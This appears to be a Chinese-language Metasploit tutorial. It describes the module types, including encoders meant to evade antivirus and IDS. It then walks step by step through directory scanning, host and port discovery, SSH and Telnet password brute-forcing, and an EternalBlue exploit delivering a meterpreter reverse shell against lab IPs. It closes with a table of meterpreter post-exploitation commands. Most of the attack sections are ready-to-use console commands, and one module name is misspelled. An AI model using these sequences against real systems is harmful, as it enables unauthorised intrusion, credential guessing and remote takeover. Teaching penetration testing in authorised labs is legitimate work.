metasploit概述
是一款开源的安全漏洞检测工具,它可以帮助网络安全和IT专业人士识别安全性问题,验证漏洞的解决措施,从而完成对目标的安全性评估
该工具包括了 智能开发,代码审计,web应用程序扫描和社会工程等各项功能
什么是metasploit
可以用来发现漏洞,利用漏洞,提交漏洞,并实施攻击,用户可以从其他 漏洞扫描程序导入数据,基于漏洞主机的详细信息来发现可攻击漏洞
模块按照不同用途可分为7中类型,分别是Exploits(渗透攻击模块),Auxiliary(辅助模块),Post(后渗透攻击模块),Payloads(攻击载荷模块),Encoders(编码器模块),Nops(空指令模块),Evasion(规避模块)
1,渗透攻击模块
主要利用发现的安全漏洞或配置弱点对目标主机进行攻击,以植入和运行攻击载荷,从而获得目标系统的访问控制权
分为主动渗透攻击和被动渗透攻击
主动渗透攻击:利用的安全漏洞位于网络服务端软件承载的上层应用程序之中
被动渗透攻击:利用的漏洞位于客户端软件(如浏览器,浏览器插件,电子邮件客户端,Office与Adobe等各种文档与编辑软件)
2,辅助模块
辅助模块包括对各种网络服务的扫描与检测,构建虚假服务登陆密码,口令猜测等模块,辅助模块海包含一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务
3,后渗透模块
用于取得目标系统远程控制权之后得环节,实现在受控制的系统中进行各种各样的后渗透攻击动作,如敏感信息,进一步拓展,实施跳板攻击
4,攻击载荷模块
在渗透攻击成功后促进目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接
攻击载荷分为Single(独立),Stager(传输器)和Stage(传输体)3种类型
Single:是一种完全独立的Payload,使用简单,就像运行calc.exe一样简单,由于Single是完全独立的,因此他们有可能会被类似netcat这样的metasploit处理工具所捕获
Stager:这种payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序
一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)
另一种常见的的bind_TCP,它可以让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)
Stage:是stager payload下的一种payload组件,这种payload可以提供更加高级的功能,而且没有大小限制
5,空指令模块
空指令是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令最典型的空指令就是空操作,在X86CPU体系结构平台上的操作码是ox90
6,编码模块
攻击载荷与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行之前,metaspliot还需要编码
编码模块的主要作用由两个:第一,确保攻击载荷中不会出现“坏字符”,第二,是对攻击载荷进行“免杀”处理,即躲避反病毒软件,IDS入侵检测系统和IPS入侵防御系统的检测与拦截
7,规避模块
规避模块是在metasploit5中心增加的,用户可以使用规避模块来规避Windows Defender防火墙,windows Defender现在是windows自带的防火墙工具,不仅可以扫描系统,还可以对系统进行实时监控
8,插件
插件能够扩充框架的功能,或者封装已有功能构成高级功能的组件,可以用于集成一些现有的一些歪卜安全工具,如N二审诉讼,OpenVAS漏洞扫描等
一、MSF更新
命令:
apt-get update
apt-get install metasploit-framework
二、基本命令
info
set
show options:查看参数
exit:退出
back:返回上一级
三、网站敏感目录扫描
可以借助Metasploit中的brute_dirs、dir_listing、dir_scanner等辅助模块来进行敏感目录扫描。
他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典。
msf5 > use auxiliary/scanner/http/dir_scanner
【】msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
【设置目录】msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/
PATH = /cms/
【设置线程数量】msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/http/dir_scanner) > exploit
四、主机发现
在Metasploit中提供了关于主机发现的模块位于modules/auxiliary/sacnner/discovery/目录中。
可以使用arp_sweep来枚举本地局域网中的所有活跃主机。
msf5 > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 172.16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/discovery/arp_sweep) > exploit
五、端口扫描
Metasploit的辅助模块中提供了几款实用的端口扫描器。一般情况下使用auxiliary/scanner/portscan/syn端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set RHOST 172.16.132.138
RHOST => 172.16.132.138
msf5 auxiliary(scanner/portscan/syn) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/portscan/syn) > exploit
六、SSH服务查点
通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH客户端返回一个远程Shell连接。如果没有做其他的安全增强配置,只要获取服务的登陆口令,就可以使用SSH客户端登陆服务器,那就相当于获取了相应登陆用户的所有权限。可以使用ssh_version模块遍历网络中开启SSH服务的主机。
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOST 172.16.132.160/24
RHOST => 172.16.132.160/24
msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_version) > exploit
七、SSH爆破
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(/scanner/ssh/ssh_login) > set USER_FILE user.dic【自定义字典】
USER_FILE => user.dic
msf5 auxiliary(/scanner/ssh/ssh_login) > set USERPASS_FILE pass.dic【自定义字典】
USERPASS_FILE => pass.dic
msf5 auxiliary(/scanner/ssh/ssh_login) set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_ login) > set RHOST 172.16.132.160
RHOST => 172.16.132.160
msf5 auxiliary(scanner/ssh/ssh_ login) > exploit
八、Telnet爆破
msf5 > use auxiliary/scanner/telnet/telnet_login
msf5 auxiliary(scanner/telnet/telnet_login) > set RHOST 172.16.132.160
RHOST => 172.16.132.160
msf5 auxiliary(scanner/telnet/telnet_login) > set USER_FILE user.dic
USER_FILE => user.dic
msf5 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE pass.dic
PASS_FILE => pass.dic
msf5 auxiliary(scanner/telnet/telnet_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/telnet/telnet_login) > exploit
九、永恒之蓝全过程
msf5 > use exploit/windows/smb/sm17_010_eternalblue
msf5 exploit(windows/smb/sm17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/sm17_010_eternalblue) > set RHOST 172.16.132.160
RHOST => 172.16.132.160
msf5 exploit(windows/smb/sm17_010_eternalblue) > set THREADS 50
THREADS => 50
msf5 exploit(windows/smb/sm17_010_eternalblue) > set LHOST 172.16.132.20
LHOST => 172.16.132.20
msf5 exploit(windows/smb/sm17_010_eternalblue) > exploit
【成功攻破之后将获得meterpreter】
Meterpreter常用基本命令
命令 |
解释 |
background |
将Meterpreter终端隐藏在后台 |
sessions |
查看已经成功获取的会话。-选项,切入后台会话 |
shell |
获取系统的控制台shell |
quit |
关闭当前的Meterpreter会话,返回MSF终端 |
pwd |
获取目标机上当前工作的目录 |
whoami |
查看目标机当前用户 |
upload |
上传文件,upload a.txt |
cat |
查看文件内容 |
edit |
编辑文件内容 |
download |
下载文件 |
cd |
切换路径,cd c:\\ |
ls |
显示当前路径下的所有路径 |
search |
搜索文件 -h参数可以查看帮助 |
ifconfig/ipconfig |
查看网卡信息 |
route |
查看路由信息,设置路由 |
sysinfo |
查看系统信息 |
getuid |
获取当前用户ID |
ps |
查看所有进程列表 |
getpid |
查看当前进程 |
migrate |
切换进程,migrate 2856 |
execute |
执行文件,excute -f c:\\windows\\system32\\calc.exe |
kill |
终结指定PID的进程 |
shutdown |
关机 |
screenshot |
屏幕快照 |